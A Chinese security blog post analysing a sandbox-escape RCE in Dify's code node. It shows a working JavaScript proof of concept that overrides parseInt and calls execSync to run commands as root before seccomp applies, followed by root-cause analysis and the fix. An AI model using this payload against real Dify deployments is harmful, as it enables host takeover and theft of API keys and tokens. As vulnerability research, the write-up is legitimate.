Dify 沙箱逃逸漏洞 RCE 分析
Dify代码节点因执行顺序缺陷致沙箱逃逸,攻击者可重写parseInt触发RCE。
Dify 沙箱逃逸漏洞 RCE 分析
前言
社区上还没有人分析过Dify的沙箱逃逸,n8n的分析了很多,今天来分析分析dify的,而且阿里云漏洞库给到了9.8的评分

漏洞描述
Dify是一款开源的LLM应用开发平台。在Dify的 代码节点 功能中,允许用户执行自定义的 JavaScript 代码。该漏洞是由于 Dify 沙箱(dify-sandbox)在执行用户提供的 JavaScript 代码时,未能在安全限制生效之前对用户代码进行充分的隔离。攻击者可以通过在 JavaScript 代码中重写全局函数(例如 parseInt),在沙箱安全限制(如 seccomp)生效之前执行任意系统命令,从而实现沙箱逃逸并获得宿主机 root 权限,进而获取敏感信息(如 API 密钥、内部服务器地址、K8s token)。
环境搭建
沙盒版本低于 0.2.11 就好了
在 docker 文件里面修改一下,这个不需要修改整个 dify
复现起来比较方便
➜ docker git:(main) ✗ docker compose up -d --no-deps sandbox
[+] Running 11/11
✔ sandbox Pulled 44.1s
✔ d847ad1879f2 Pull complete 1.0s
✔ 9c0f986d4b80 Pull complete 2.5s
✔ 0947c264eb8a Pull complete 27.2s
✔ 24dc187bd6b6 Pull complete 35.2s
✔ 1cd341a07216 Pull complete 2.6s
✔ 14c9d9d19932 Pull complete 26.8s
✔ ae93d1213b63 Pull complete 27.7s
✔ 35112eadc4ad Pull complete 27.8s
✔ 0c5b0e483f14 Pull complete 3.6s
✔ b0e793b112f0 Pull complete 2.6s
[+] Running 1/1
✔ Container docker-sandbox-1 Started 只重启 sandbox
漏洞复现
POC
function main() {
return { result: data }; // 将结果返回给用户(展示执行效果)
}
// 覆盖全局 parseInt 函数
function parseInt() {
const { execSync } = require('child_process'); // 引入子进程模块
data = execSync("ls -la /", { encoding: "utf8" }); // 执行命令:列出根目录文件
return 0; // 伪装成正常 parseInt 的返回值(避免报错)
}写一个代码执行的工作流

节点加入逃逸代码


成功
漏洞分析
根据 Huntr 披露的细节
漏洞的根源在于 Go 语言编写的 Runner (nodejs.go) 如何处理用户代码。它没有使用安全的沙箱上下文(如 vm.runInContext),而是采用了简单的字符串拼接
prescript.js
// prescript.js - 沙箱初始化脚本
const argv = process.argv
const koffi = require('koffi')
const lib = koffi.load('./var/sandbox/sandbox-nodejs/nodejs.so')
const difySeccomp = lib.func('void DifySeccomp(int, int, bool)')
// 漏洞点:parseInt 在 difySeccomp 之前被调用
const uid = parseInt(argv[2]) // ← 调用 parseInt
const gid = parseInt(argv[3]) // ← 调用 parseInt
const options = JSON.parse(argv[4])
difySeccomp(uid, gid, options['enable_network']) // ← 后生效这样的顺序有什么问题呢?梳理清楚执行顺序
问题 1:parseInt 是 JavaScript 全局函数,可以被用户代码覆盖
问题 2:parseInt 在 difySeccomp 之前被调用
问题 3:用户代码拼接在 prescript.js 之后,会在 parseInt 调用前执行
nodejs.go
```go
package sandbox
import (
"fmt"
)
func (p *NodeJsRunner) InitializeEnvironment(code string, preload string, root_path string) (string, error) {
if !checkLibAvalable() {
releaseLibBinary()
}
// prescript.js 的内容(从嵌入的文件系统读取)
node_sandbox_file := string(nodejs_sandbox_fs)
if preload != "" {
node_sandbox_file = fmt.Sprintf("%s\n%s", preload, node_sandbox_file)
}
// 🔴 关键:直接拼接用户代码
// 最终代码 = prescript.js + 用户代码
code = node_sandbox_file + code
return code, nil
}可以看到完全没有隔离,我记得当时有一个 jsp 的 webshell 就是利用这个原理免杀的
最终生成的 JS 脚本
当 Go 程序完成拼接后,Node.js 进程实际接收到的 final_script 长这样
/* =================Part 1: prescript.js (官方预置)================= */
const argv = process.argv;
const koffi = require('koffi');
// 加载负责降权的 C++ 共享库
const lib = koffi.load('./var/sandbox/sandbox-nodejs/nodejs.so');
const difySeccomp = lib.func('void DifySeccomp(int, int, bool)');
// [漏洞触发点 1]:这里调用了 parseInt 解析 UID
const uid = parseInt(argv[2]);
// [漏洞触发点 2]:这里调用了 parseInt 解析 GID
const gid = parseInt(argv[3]);
const options = JSON.parse(argv[4]);
// [安全边界]:这里才开始施加 Seccomp 限制
difySeccomp(uid, gid, options['enable_network']);
/* =================Part 2: User Code (你的代码)================= */
// 虽然写在后面,但对于 function 声明,位置无所谓
function main() {
return { result: "hello" };
}
// [攻击载荷]:函数声明被提升(Hoisting)
function parseInt(val) {
const { execSync } = require('child_process');
// 此时 Seccomp 还没执行,我是 Root
console.log(execSync("id").toString());
console.log(execSync("ls -la /").toString());
return 0; // 返回假数据,让流程继续(可选)
}在 JavaScript 中,函数声明具有最高的提升优先级,也就是在代码执行任何一行之前,JS 引擎会先扫描整个作用域,将所有 function xxx() {} 提升到内存顶部
所以在编译阶段,Node.js 解析整个拼接后的脚本,发现了用户代码中自定义的函数,将全局作用域中的 parseInt 引用指向用户的恶意函数,覆盖了原生的 parseInt
导致了漏洞
Payload 解析
JavaScript 函数声明提升机制
在 JavaScript 中,**函数声明(Function Declaration)**具有最高的提升优先级:
// 示例 1:函数声明提升
console.log(add(1, 2)); // 输出: 3 (函数还没定义就能调用!)
function add(a, b) {
return a + b;
}JavaScript 引擎在执行代码前,会先扫描整个作用域,将所有 function xxx() {} 声明提升到内存顶部
执行流程
┌─────────────────────────────────────────────────────────────────┐
│ Step 1: Go 程序拼接代码 │
│ code = prescript.js + 用户代码 │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 2: Node.js 编译阶段(函数提升) │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ JavaScript 引擎扫描整个代码: │ │
│ │ │ │
│ │ 1. 发现 function parseInt() {...} // 用户定义的 │ │
│ │ 2. 发现 function main() {...} // 用户定义的 │ │
│ │ 3. 将这些函数声明提升到全局作用域顶部 │ │
│ │ │ │
│ │ 提升后的内存布局: │ │
│ │ ┌─────────────────────────────────────────────────────────┐ │ │
│ │ │ Global Object { │ │ │
│ │ │ parseInt: [用户定义的函数] ← 覆盖了原生函数 │ │ │
│ │ │ main: [用户定义的函数] │ │ │
│ │ │ ... │ │ │
│ │ │ } │ │ │
│ │ └─────────────────────────────────────────────────────────┘ │ │
│ └─────────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 3: 代码执行阶段 │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ // prescript.js 部分 │ │
│ │ const argv = process.argv │ │
│ │ const koffi = require('koffi') │ │
│ │ const lib = koffi.load(...) │ │
│ │ const difySeccomp = lib.func(...) │ │
│ │ │ │
│ │ // 🔴 关键调用:此时 parseInt 已经被用户函数覆盖 │ │
│ │ const uid = parseInt(argv[2]) // ← 调用用户的恶意函数! │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ ┌─────────────────────────────────────────┐ │ │
│ │ │ 用户的 parseInt 函数被调用: │ │ │
│ │ │ const { execSync } = require(...) │ │ │
│ │ │ data = execSync("ls -la /") ← RCE! │ │ │
│ │ │ return 0 │ │ │
│ │ └─────────────────────────────────────────┘ │ │
│ │ │ │
│ │ // 此时沙箱限制还没生效! │ │
│ │ difySeccomp(uid, gid, ...) // ← 太晚了 │ │
│ └─────────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘总结
其实总的下来,就是一个这样的顺序,而这个漏洞最重要的就是执行顺序
时间轴────────────────────────────────────────────────────────────►
T0: 沙箱启动
│
├─ Go 服务加载 prescript.js 模板
│
T1: 用户提交代码
│ 代码内容:
│ function parseInt() {
│ const {execSync} = require('child_process');
│ data = execSync("id", {encoding: "utf8"});
│ return 0;
│ }
│
T2: nodejs.go.InitializeEnvironment()
│
├─ node_sandbox_file = prescript.js 内容
├─ code = prescript.js + 用户代码 // ← 直接拼接
│
T3: Node.js 开始执行拼接后的代码
│
├─ 加载 koffi
├─ 加载 nodejs.so
├─ 声明 difySeccomp 函数
│
T4: 编译阶段 - 函数提升
│
├─ JS 引擎扫描整个代码
├─ 发现用户定义的 parseInt
├─ 将 parseInt 提升到全局作用域,覆盖原生函数
│
T5: 执行阶段 - prescript.js 继续
│
├─ const uid = parseInt(argv[2])
│ │
│ └─► 触发用户定义的 parseInt
│ │
│ └─► execSync("id") ← 以 root 权限执行
│ │
│ └─► 输出: uid=0(root) ...
│
T6: difySeccomp(uid, gid, ...) ← 太晚了!
│
└─ 施加沙箱限制(恶意代码已执行)漏洞修复
https://github.com/langgenius/dify-sandbox/commit/a0c74d335e380d0a51595cdc0ad975a064a6127b
漏洞的本质就是执行的顺序,安全边界 Seccomp 限制优先执行就好了
调整代码执行顺序:确保 difySeccomp(安全限制)在用户代码执行前调用,彻底避免沙箱生效前的 “窗口期”。例如,修改 prescript.js 与用户代码的拼接逻辑,让 difySeccomp 优先执行:
// 修复后的执行顺序
difySeccomp(uid, gid, options['enable_network']); // 先施加限制
// 再执行用户代码(此时全局函数已受保护)参考
https://athink.cn/securitynews/detail/?id=687dd9dd10b54e7878ef6d1b
https://huntr.com/bounties/f8dc17a3-5536-4944-a680-24070903cd2d
Dify代码节点因执行顺序缺陷致沙箱逃逸,攻击者可重写parseInt触发RCE。
由 AI 根据全文自动生成,仅供参考,以原文为准